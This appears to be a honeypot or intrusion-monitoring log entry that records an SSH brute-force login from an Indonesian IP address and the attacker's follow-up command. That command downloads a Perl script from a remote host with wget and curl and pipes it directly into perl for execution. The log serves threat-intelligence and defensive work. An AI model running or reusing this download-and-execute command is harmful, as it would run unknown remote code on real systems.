| Time | : | 13/02/2019 23:35:21 |
| Transaction ID | : | XC218NR3S54H05I7 |
| Service | : | ssh |
| Location | : | Indonesia |
| Attacker | : | 103.9.124.214(214.124.9.103.in-addr.arpa) |
| Classification | : | Web Script Execution |
103.9.124.214 client username 'amssys:amssys
' and password 'amy:amy
' entered
103.9.124.214 client command : 'cd /tmp;wget -O - http://188.166.226.44/perl|perl;curl -s http://188.166.226.44/perl|perl -s;'